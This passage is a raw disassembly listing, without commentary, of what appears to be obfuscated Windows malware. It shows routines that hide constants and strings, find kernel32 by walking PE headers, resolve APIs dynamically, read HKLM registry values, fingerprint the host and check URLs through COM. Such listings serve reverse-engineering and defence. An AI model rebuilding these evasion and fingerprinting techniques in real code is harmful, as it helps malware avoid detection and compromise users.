add eax, edx
sub eax, 9
mov [esi], eax
mov eax, 80004002h
loc_43E9B0: ; CODE XREF: sub_43E94C+4Aj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43E94C endp
; =============== S U B R O U T I N E =======================================
sub_43E9B7 proc near ; DATA XREF: .data:005512F0o
mov eax, 80004001h
retn 10h
sub_43E9B7 endp
; =============== S U B R O U T I N E =======================================
sub_43E9BF proc near ; CODE XREF: sub_43E491+Cp
push edi
push offset dword_55225C
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551294, eax
mov eax, dword_551178
sub eax, 3
cmp dword_551294, eax
jnz short loc_43E9FE
push offset byte_552251
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551294, eax
loc_43E9FE: ; CODE XREF: sub_43E9BF+26j
mov eax, dword_551294
cmp dword_5511A0, eax
jz short loc_43EA28
push offset byte_55223B
call sub_43AC94
pop ecx
push eax
push dword_551294
call ds:dword_44B1AC
mov ds:dword_44B5B4, eax
loc_43EA28: ; CODE XREF: sub_43E9BF+4Aj
pop edi
retn
sub_43E9BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EA2A proc near ; CODE XREF: sub_441AE5+91p
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
var_1A0 = byte ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call ds:dword_550028
mov eax, dword_5510B4
sub eax, 3
mov byte ptr [edi+eax], 58h
mov eax, dword_55121C
mov byte ptr [edi+eax], 39h
mov eax, dword_551244
add eax, dword_55116C
sub eax, 0Eh
movsx edx, word_5510A0
movsx ecx, word_5511C4
add edx, ecx
sub edx, 0Eh
mov [edi+eax], dl
cmp [ebp+var_183], 2
jnz short loc_43EAB3
mov eax, dword_551118
sub eax, 8
mov byte ptr [edi+eax], 54h
mov eax, dword_5511F0
movsx edx, word_5510B0
add eax, edx
sub eax, 0Ah
mov byte ptr [edi+eax], 4Eh
loc_43EAB3: ; CODE XREF: sub_43EA2A+66j
push offset byte_55222F
call sub_43AC94
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50EA28
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push offset dword_552228
call sub_43AC94
mov ebx, dword_5510C4
movsx edx, word_551224
add ebx, edx
sub ebx, 0Bh
push ebx
movsx ebx, word_551104
add ebx, dword_5511D4
sub ebx, 0Eh
push ebx
lea ebx, [ebp+var_1A0]
push ebx
lea ebx, [ebp+var_1A0]
push ebx
lea ebx, [ebp+var_19C]
push ebx
push 0FFh
lea ebx, [ebp+var_FF]
push ebx
push eax
call ds:dword_4CEA04
push offset dword_552220
call sub_43AC94
push [ebp+var_19C]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50EA28
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push 0FFh
lea eax, [ebp+var_FF]
push eax
mov eax, dword_551190
sub eax, 3
push eax
push 400h
call ds:dword_44B5A8
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
push offset byte_55221B
call sub_43AC94
push eax
push edi
call ds:dword_44802C
mov [ebp+var_198], 0FFh
push offset word_5521EE
call sub_43AC94
mov [ebp+var_1A8], eax
push offset byte_5521E1
call sub_43AC94
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1A8]
push ebx
push 80000002h
call sub_440281
add esp, 70h
mov esi, eax
mov eax, dword_5510A4
sub eax, 8
cmp eax, esi
jnz short loc_43EC1C
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
add esp, 8
jmp short loc_43EC87
; ---------------------------------------------------------------------------
loc_43EC1C: ; CODE XREF: sub_43EA2A+1DDj
mov [ebp+var_198], 0FFh
push offset asc_5521B1 ; ","
call sub_43AC94
mov [ebp+var_1AC], eax
push offset asc_5521A4 ; "\t"
call sub_43AC94
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1AC]
push ebx
push 80000002h
call sub_440281
add esp, 20h
mov esi, eax
mov eax, dword_55121C
inc eax
cmp esi, eax
jnz short loc_43EC87
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44802C
add esp, 8
loc_43EC87: ; CODE XREF: sub_43EA2A+1F0j
; sub_43EA2A+24Aj
pop edi
pop esi
pop ebx
leave
retn
sub_43EA2A endp
; =============== S U B R O U T I N E =======================================
sub_43EC8C proc near ; DATA XREF: .data:00551318o
mov eax, 80004001h
retn 18h
sub_43EC8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EC94 proc near ; CODE XREF: sub_4457CD+4Ap
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10004 = dword ptr -10004h
var_FFFF = byte ptr -0FFFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10030h
call sub_44797C
push ebx
push esi
push edi
mov eax, dword_551124
add eax, dword_5510A4
sub eax, 12h
cmp dword_5512DC, eax
jnz short loc_43ECD0
movsx eax, word_551188
add eax, 5
cmp ds:dword_44B5D0, eax
jb loc_43EF53
loc_43ECD0: ; CODE XREF: sub_43EC94+24j
lea eax, [ebp+var_10020]
push eax
call ds:dword_448048
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
movsx eax, word_551240
dec eax
push eax
push [ebp+arg_0]
call ds:dword_4CC324
mov edi, eax
mov eax, dword_551244
sub eax, 7
cmp edi, eax
jnz loc_43EF53
movsx eax, word_551260
add eax, dword_5510BC
sub eax, 9
mov [ebp+var_10008], eax
mov esi, [ebp+var_10018]
lea eax, [ebp+var_10008]
push eax
push offset dword_552AA4
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
movsx eax, word_551180
sub eax, 2
cmp edi, eax
jnz loc_43EF53
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
mov eax, dword_55125C
sub eax, 5
cmp eax, edi
jnz loc_43EF4D
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10024]
call sub_44582B
add esp, 8
push [ebp+var_10024]
call ds:dword_550034
movsx eax, word_551228
cmp byte ptr [ebp+eax+var_10004+1], 74h
jnz short loc_43EDDD
movsx eax, word_5510D8
cmp byte ptr [ebp+eax+var_10008], 68h
jnz short loc_43EDDD
mov eax, dword_5511F8
cmp byte ptr [ebp+eax+var_10004+1], 70h
jnz short loc_43EDDD
mov eax, dword_551204
cmp byte ptr [ebp+eax+var_10004+3], 74h
jz short loc_43EDE2
loc_43EDDD: ; CODE XREF: sub_43EC94+118j
; sub_43EC94+129j ...
jmp loc_43EF4D
; ---------------------------------------------------------------------------
loc_43EDE2: ; CODE XREF: sub_43EC94+147j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, dword_5510A4
add eax, dword_55118C
sub eax, 9
cmp eax, edi
jnz loc_43EF4D
lea eax, [ebp+var_10004]
push eax
push offset dword_552A34
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_55118C
movsx edx, word_551168
add eax, edx
sub eax, 4
cmp edi, eax
jnz loc_43EF41
lea eax, [ebp+var_1000C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
mov eax, dword_551138
add eax, dword_5511D0
sub eax, 6
cmp eax, edi
jnz loc_43EF35
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
movsx eax, word_55112C
sub eax, 5
cmp eax, edi
jz short loc_43EEA6
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp loc_43EF35
; ---------------------------------------------------------------------------
loc_43EEA6: ; CODE XREF: sub_43EC94+1FFj
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_1000C], eax
jz short loc_43EEB9
xor ebx, ebx
inc ebx
loc_43EEB9: ; CODE XREF: sub_43EC94+220j
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
movsx eax, word_551104
add eax, dword_551190
sub eax, 0Bh
cmp edi, eax
jnz short loc_43EF35
push ebx
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10008]
push [ebp+var_1002C]
push [ebp+var_10004]
call sub_44230D
add esp, 14h
or ebx, ebx
jnz short loc_43EF35
push [ebp+var_1002C]
push [ebp+var_10004]
push esi
call sub_43E04C
add esp, 0Ch
loc_43EF35: ; CODE XREF: sub_43EC94+1D8j
; sub_43EC94+20Dj ...
mov eax, [ebp+var_10004]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43EF41: ; CODE XREF: sub_43EC94+1AAj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43EF4D: ; CODE XREF: sub_43EC94+E2j
; sub_43EC94:loc_43EDDDj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_43EF53: ; CODE XREF: sub_43EC94+36j
; sub_43EC94+77j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43EC94 endp
; =============== S U B R O U T I N E =======================================
sub_43EF58 proc near ; CODE XREF: sub_43E491+210p
push edi
mov eax, dword_5510A4
add eax, dword_551190
sub eax, 0Eh
mov ds:dword_4CE9F0, eax
mov eax, dword_5511D0
mov edi, eax
add edi, dword_551218
sub edi, 3
jmp short loc_43EF8E
; ---------------------------------------------------------------------------
loc_43EF7E: ; CODE XREF: sub_43EF58+42j
mov eax, dword_5511D8
sub eax, 7
mov ds:byte_48C1F0[edi], al
inc edi
loc_43EF8E: ; CODE XREF: sub_43EF58+24j
mov eax, dword_551238
add eax, 0F6h
cmp edi, eax
jb short loc_43EF7E
mov eax, dword_551218
movsx edx, word_5510D8
movsx ecx, word_5511C4
lea edx, [edx+ecx+50h]
mov byte ptr ds:dword_48C1EC+3[eax], dl
mov eax, ds:dword_4CE9F0
mov edx, dword_5511E8
dec edx
add eax, edx
mov edx, dword_551150
add edx, 0E5h
mov ds:byte_48C1F0[eax], dl
mov eax, ds:dword_4CE9F0
mov edx, dword_551204
inc edx
add edx, dword_551090
add eax, edx
mov edx, dword_551244
add edx, 5Ah
mov ds:byte_48C1F0[eax], dl
mov eax, ds:dword_4CE9F0
mov edx, dword_551160
add edx, 0E3h
mov ds:byte_48C1F0[eax], dl
movsx eax, word_5511A8
movsx edx, word_551140
lea eax, [eax+edx+6]
add ds:dword_4CE9F0, eax
pop edi
retn
sub_43EF58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F031 proc near ; CODE XREF: sub_43E491+48p
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_10F = byte ptr -10Fh
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
call sub_43BC51
mov edx, dword_5510C0
dec edx
cmp edx, eax
jnz short loc_43F054
xor eax, eax
jmp loc_43F260
; ---------------------------------------------------------------------------
loc_43F054: ; CODE XREF: sub_43F031+1Aj
mov [ebp+var_204], 0FFh
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_FF]
push eax
call ds:dword_44B5A0
mov eax, dword_551134
add eax, dword_55126C
movsx eax, [ebp+eax+var_10F]
movsx edx, word_5510E4
cmp eax, edx
jnz short loc_43F098
xor eax, eax
inc eax
jmp loc_43F260
; ---------------------------------------------------------------------------
loc_43F098: ; CODE XREF: sub_43F031+5Dj
push offset word_55219A
call sub_43AC94
mov edx, dword_551164
inc edx
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_442127
add esp, 10h
mov ecx, dword_5510C0
add ecx, 0FFFEh
cmp eax, ecx
jz short loc_43F0D2
xor eax, eax
inc eax
jmp loc_43F260
; ---------------------------------------------------------------------------
loc_43F0D2: ; CODE XREF: sub_43F031+97j
push offset word_55218E
call sub_43AC94
mov edx, dword_5511F0
sub edx, 8
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_442127
add esp, 10h
mov ecx, dword_5511D8
add ecx, 0FFF8h
cmp ecx, eax
jz short loc_43F10E
xor eax, eax
inc eax
jmp loc_43F260
; ---------------------------------------------------------------------------
loc_43F10E: ; CODE XREF: sub_43F031+D3j
mov [ebp+var_208], 0FFh
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_1FE]
push eax
call ds:dword_448040
push offset byte_552189
call sub_43AC94
push eax
lea edx, [ebp+var_1FE]
push edx
call ds:dword_44802C
mov eax, dword_5511B8
sub eax, 6
push eax
lea eax, [ebp+var_FF]
push eax
lea eax, [ebp+var_1FE]
push eax
call sub_442127
add esp, 18h
mov edx, dword_55116C
add edx, 0FFF6h
cmp eax, edx
jz short loc_43F17B
xor eax, eax
inc eax
jmp loc_43F260
; ---------------------------------------------------------------------------
loc_43F17B: ; CODE XREF: sub_43F031+140j
call ds:dword_4CEA1C
mov esi, eax
xor ebx, ebx
mov edi, esi
loc_43F187: ; CODE XREF: sub_43F031+218j
mov eax, dword_5511E0
sub eax, 9
movzx eax, byte ptr [edi+eax]
movsx edx, word_5510F0
sub edx, 3
cmp eax, edx
jz loc_43F24E
mov ecx, edi
or eax, 0FFFFFFFFh
loc_43F1AA: ; CODE XREF: sub_43F031+17Ej
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F1AA
mov [ebp+var_20C], eax
push offset byte_55217F
call sub_43AC94
add esp, 4
push dword_551158
push eax
push edi
call sub_442127
add esp, 0Ch
mov edx, eax
movsx ecx, word_551168
movsx eax, word_55115C
lea ecx, [ecx+eax+0FFF8h]
cmp ecx, edx
jz short loc_43F1F6
mov ebx, 1
jmp short loc_43F24E
; ---------------------------------------------------------------------------
loc_43F1F6: ; CODE XREF: sub_43F031+1BCj
push offset word_55216E
call sub_43AC94
push dword_55122C
push eax
push edi
call sub_442127
add esp, 10h
mov edx, eax
movsx ecx, word_551228
mov eax, dword_5511D0
lea ecx, [ecx+eax+0FFF6h]
cmp edx, ecx
jz short loc_43F22E
xor ebx, ebx
inc ebx
jmp short loc_43F24E
; ---------------------------------------------------------------------------
loc_43F22E: ; CODE XREF: sub_43F031+1F6j
mov eax, [ebp+var_20C]
mov edx, dword_5510F4
add edx, dword_551204
sub edx, 4
add edx, edi
mov edi, eax
add edi, edx
jmp loc_43F187
; ---------------------------------------------------------------------------
loc_43F24E: ; CODE XREF: sub_43F031+16Ej
; sub_43F031+1C3j ...
push esi
call ds:dword_4CDA44
or ebx, ebx
jz short loc_43F25E
xor eax, eax
inc eax
jmp short loc_43F260
; ---------------------------------------------------------------------------
loc_43F25E: ; CODE XREF: sub_43F031+226j
xor eax, eax
loc_43F260: ; CODE XREF: sub_43F031+1Ej
; sub_43F031+62j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43F031 endp
; =============== S U B R O U T I N E =======================================
sub_43F265 proc near ; DATA XREF: .data:005512CCo
mov eax, 80004001h
retn 8
sub_43F265 endp
; =============== S U B R O U T I N E =======================================
sub_43F26D proc near ; CODE XREF: sub_43E491+3Ep
push edi
push offset byte_55215F
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_5512A4, eax
mov eax, dword_551134
sub eax, 8
cmp dword_5512A4, eax
jnz short loc_43F2AC
push offset dword_552150
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_5512A4, eax
loc_43F2AC: ; CODE XREF: sub_43F26D+26j
push offset dword_552138
call sub_43AC94
pop ecx
push eax
push dword_5512A4
call ds:dword_44B1AC
mov ds:dword_449FC4, eax
pop edi
retn
sub_43F26D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F2CB proc near ; CODE XREF: sub_43A59E+67p
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = word ptr -80h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
lea eax, dword_54EBC0
mov [ebp+var_88], eax
movsx eax, word_551228
movsx edx, word_5511BC
mov ebx, eax
add ebx, edx
sub ebx, 0Bh
jmp short loc_43F309
; ---------------------------------------------------------------------------
loc_43F2FA: ; CODE XREF: sub_43F2CB+52j
mov edx, dword_5510B4
sub edx, 4
mov [ebp+ebx*2+var_40], dx
inc ebx
loc_43F309: ; CODE XREF: sub_43F2CB+2Dj
movsx eax, word_551140
movsx edx, word_551228
lea eax, [eax+edx+15h]
cmp ebx, eax
jb short loc_43F2FA
movsx eax, word_551210
mov esi, eax
add esi, dword_5511FC
sub esi, 3
jmp short loc_43F344
; ---------------------------------------------------------------------------
loc_43F333: ; CODE XREF: sub_43F2CB+89j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov cx, [ecx+esi*2]
mov [ebp+edx+var_80], cx
inc esi
loc_43F344: ; CODE XREF: sub_43F2CB+66j
mov eax, dword_5511E4
add eax, 14h
add eax, dword_5511B0
cmp esi, eax
jb short loc_43F333
movsx eax, word_551210
sub eax, 3
mov [ebp+var_84], eax
loc_43F366: ; CODE XREF: sub_43F2CB+141j
; sub_43F2CB+159j
push [ebp+var_84]
push [ebp+arg_0]
call sub_4472C9
add esp, 8
mov [ebp+var_8C], eax
mov eax, dword_551114
dec eax
cmp [ebp+var_8C], eax
jnz short loc_43F3C6
lea eax, [ebp+var_80]
push eax
lea eax, [ebp+var_40]
push eax
call sub_4466C9
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_43A929
add esp, 10h
or eax, eax
jz short loc_43F3C6
push [ebp+var_88]
lea eax, [ebp+var_40]
push eax
call sub_447831
add esp, 8
loc_43F3C6: ; CODE XREF: sub_43F2CB+BEj
; sub_43F2CB+E7j
inc [ebp+var_84]
mov eax, dword_551118
add eax, 17h
movsx edx, word_551094
add edx, 0Dh
imul eax, edx
cmp [ebp+var_84], eax
jnb short loc_43F429
lea eax, [ebp+var_80]
push eax
call sub_441A2E
mov [ebp+var_90], eax
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_43A929
add esp, 0Ch
or eax, eax
jz loc_43F366
push [ebp+var_88]
lea eax, [ebp+var_80]
push eax
call sub_447831
add esp, 8
jmp loc_43F366
; ---------------------------------------------------------------------------
loc_43F429: ; CODE XREF: sub_43F2CB+11Cj
movsx edi, word_551240
dec edi
jmp short loc_43F444
; ---------------------------------------------------------------------------
loc_43F433: ; CODE XREF: sub_43F2CB+18Cj
mov edx, edi
shl edx, 1
mov ecx, [ebp+arg_0]
mov dx, [ebp+edx+var_40]
mov [ecx+edi*2], dx
inc edi
loc_43F444: ; CODE XREF: sub_43F2CB+166j
mov eax, dword_55124C
add eax, 13h
movsx edx, word_551254
add eax, edx
cmp edi, eax
jb short loc_43F433
pop edi
pop esi
pop ebx
leave
retn
sub_43F2CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F45E proc near ; CODE XREF: sub_443F7C+B3p
; sub_443F7C+EFp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
mov al, [ebp+arg_0]
cmp al, 69h
jz short loc_43F4A3
cmp al, 65h
jz short loc_43F4A3
cmp al, 75h
jz short loc_43F4A3
cmp al, 79h
jz short loc_43F4A3
cmp al, 61h
jz short loc_43F4A3
cmp al, 6Fh
jz short loc_43F4A3
cmp al, 6Ah
jnz short loc_43F4A7
loc_43F4A3: ; CODE XREF: sub_43F45E+2Bj
; sub_43F45E+2Fj ...
add [ebp+arg_0], 1
loc_43F4A7: ; CODE XREF: sub_43F45E+43j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_43F45E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F4AF proc near ; CODE XREF: sub_43B841+10p
; sub_43B841+25p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_551280
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_43F4AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F4C7 proc near ; CODE XREF: start+1p
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12B = byte ptr -12Bh
var_128 = byte ptr -128h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 13Ch
push ebx
push esi
push edi
lea eax, sub_43E491
mov [ebp+var_14], eax
lea edx, sub_43E491
mov ecx, dword_551204
add ecx, 0Dh
mov eax, edx
shr eax, cl
mov edx, dword_55117C
add edx, 0Ah
movsx ecx, word_551240
add edx, ecx
mov ecx, edx
mov ebx, eax
shl ebx, cl
loc_43F507: ; CODE XREF: sub_43F4C7+5Ej
; sub_43F4C7+97j ...
mov [ebp+var_18], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_43F527
mov eax, dword_5510D4
add eax, 0FFF1h
add eax, dword_55126C
sub ebx, eax
jmp short loc_43F507
; ---------------------------------------------------------------------------
loc_43F527: ; CODE XREF: sub_43F4C7+4Aj
mov eax, dword_551114
add eax, 35h
add eax, dword_551230
mov esi, eax
add esi, ebx
mov eax, [esi]
add eax, ebx
mov [ebp+var_10], eax
mov ecx, [ebp+var_14]
cmp eax, ecx
jbe short loc_43F560
movsx eax, word_55115C
movsx edx, word_551224
lea eax, [eax+edx+0FFFBh]
sub ebx, eax
jmp short loc_43F507
; ---------------------------------------------------------------------------
loc_43F560: ; CODE XREF: sub_43F4C7+7Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_43F57E
mov eax, dword_5511B4
add eax, 0FFFFh
sub ebx, eax
jmp short loc_43F507
; ---------------------------------------------------------------------------
loc_43F57E: ; CODE XREF: sub_43F4C7+A7j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_C], eax
mov eax, dword_55113C
add eax, dword_551128
sub eax, 10h
mov [ebp+var_4], eax
jmp loc_43F716
; ---------------------------------------------------------------------------
loc_43F5A0: ; CODE XREF: sub_43F4C7+25Bj
mov eax, [ebp+var_4]
add eax, ebx
add eax, [ebp+var_C]
mov [ebp+var_130], eax
movsx eax, word_55112C
sub eax, 5
mov edx, [ebp+var_130]
cmp eax, [edx]
jz loc_43F728
mov eax, [ebp+var_130]
mov eax, [eax+0Ch]
add eax, ebx
mov [ebp+var_134], eax
push eax
lea eax, [ebp+var_12B]
push eax
call sub_44799C
movsx eax, word_551170
movsx edx, word_551168
add eax, edx
sub eax, 5
mov [ebp+var_28], eax
jmp short loc_43F61E
; ---------------------------------------------------------------------------
loc_43F5FC: ; CODE XREF: sub_43F4C7+16Dj
mov eax, [ebp+var_28]
mov al, [ebp+eax+var_12B]
cmp al, 7Ah
jge short loc_43F61B
cmp al, 61h
jle short loc_43F61B
mov eax, [ebp+var_28]
lea eax, [ebp+eax+var_12B]
sub byte ptr [eax], 20h
loc_43F61B: ; CODE XREF: sub_43F4C7+141j
; sub_43F4C7+145j
inc [ebp+var_28]
loc_43F61E: ; CODE XREF: sub_43F4C7+133j
mov eax, [ebp+var_28]
movsx eax, [ebp+eax+var_12B]
mov edx, dword_551230
sub edx, 5
cmp eax, edx
jnz short loc_43F5FC
mov eax, dword_5511FC
add eax, dword_5511F0
cmp byte ptr [ebp+eax+var_130+1], 4Ch
jnz loc_43F712
mov eax, dword_5510B8
cmp byte ptr [ebp+eax+var_134+2], 45h
jnz loc_43F712
mov edx, dword_5510DC
cmp byte ptr [ebp+edx+var_130], 52h
jnz loc_43F712
mov edx, dword_551204
cmp [ebp+edx+var_128], 33h
jnz loc_43F712
mov edx, dword_5510FC
cmp byte ptr [ebp+edx+var_130+3], 4Bh
jnz short loc_43F712
add eax, dword_551230
cmp byte ptr [ebp+eax+var_134+3], 32h
jnz short loc_43F712
mov eax, [ebp+var_130]
mov edx, ebx
add edx, [eax+10h]
mov [ebp+var_13C], edx
mov eax, dword_5510D4
sub eax, 7
mov [ebp+var_138], eax
loc_43F6C9: ; CODE XREF: sub_43F4C7+247j
mov eax, [ebp+var_138]
mov esi, eax
add esi, [ebp+var_13C]
mov edi, [esi]
movsx eax, word_5511AC
movsx edx, word_5511C8
add eax, edx
sub eax, 0Dh
cmp eax, edi
jz short loc_43F728
push edi
call sub_444B66
pop ecx
cmp dword_55127C, 0
jnz short loc_43F728
mov eax, dword_551148
sub eax, 3
add [ebp+var_138], eax
jmp short loc_43F6C9
; ---------------------------------------------------------------------------
jmp short loc_43F728
; ---------------------------------------------------------------------------
loc_43F712: ; CODE XREF: sub_43F4C7+182j
; sub_43F4C7+195j ...
add [ebp+var_4], 14h
loc_43F716: ; CODE XREF: sub_43F4C7+D4j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_4], eax
jb loc_43F5A0
loc_43F728: ; CODE XREF: sub_43F4C7+F9j
; sub_43F4C7+227j ...
movsx eax, word_551140
sub eax, 5
cmp dword_55127C, eax
jz short loc_43F79A
call sub_44234E
call sub_446E57
call sub_43FB57
mov edx, eax
mov [ebp+var_19], dl
movsx eax, word_551168
sub eax, 2
movzx edx, [ebp+var_19]
cmp eax, edx
jz short loc_43F79A
lea eax, [ebp+var_20]
push eax
mov eax, dword_5510B4
add eax, dword_551160
sub eax, 9
push eax
lea eax, [ebp+var_24]
push eax
push offset sub_43E491
mov eax, dword_5511F0
sub eax, 9
push eax
mov eax, dword_551250
add eax, dword_5511B8
sub eax, 9
push eax
call ds:dword_550020
loc_43F79A: ; CODE XREF: sub_43F4C7+271j
; sub_43F4C7+297j
pop edi
pop esi
pop ebx
leave
retn
sub_43F4C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F79F proc near ; CODE XREF: sub_441D71+59p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push [ebp+arg_0]
call ds:dword_48C318
mov ebx, eax
mov eax, dword_5510C4
movsx edx, word_5510D8
add eax, edx
sub eax, 12h
cmp ebx, eax
jz loc_43F935
push offset byte_552133
call sub_43AC94
push eax
push ebx
call ds:dword_44B1AC
mov ds:dword_449004, eax
push offset word_55212E
call sub_43AC94
add esp, 8
push eax
push ebx
call ds:dword_44B1AC
mov ds:dword_448008, eax
movsx eax, word_551254
sub eax, 8
cmp eax, ds:dword_449004
jz loc_43F935
movsx eax, word_551110
movsx edx, word_551168
add eax, edx
sub eax, 5
cmp eax, ds:dword_448008
jz loc_43F935
push ds:dword_4CDA40
push ds:dword_449FCC
push ds:dword_54EA5C
push ds:dword_44B1AC
push dword_55127C
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_449004
mov edi, eax
movsx eax, word_551260
cmp eax, edi
jnb short loc_43F876
push ebx
call ds:dword_54FC1C
jmp loc_43F935
; ---------------------------------------------------------------------------
loc_43F876: ; CODE XREF: sub_43F79F+C9j
movsx eax, word_55115C
mov esi, eax
add esi, 0FFFFFFFCh
mov edi, dword_55117C
sub edi, 5
jmp short loc_43F8BA
; ---------------------------------------------------------------------------
loc_43F88D: ; CODE XREF: sub_43F79F+121j
mov edx, ds:dword_48C320[edi*4]
cmp [ebp+var_8], edx
jnz short loc_43F8B9
mov esi, edi
mov edx, [ebp+var_4]
cmp ds:dword_4CEA20[edi*4], edx
jb short loc_43F8B9
push ebx
call ds:dword_54FC1C
push [ebp+arg_0]
call ds:dword_44800C
jmp short loc_43F935
; ---------------------------------------------------------------------------
loc_43F8B9: ; CODE XREF: sub_43F79F+F8j
; sub_43F79F+106j
inc edi
loc_43F8BA: ; CODE XREF: sub_43F79F+ECj
cmp edi, dword_5512BC
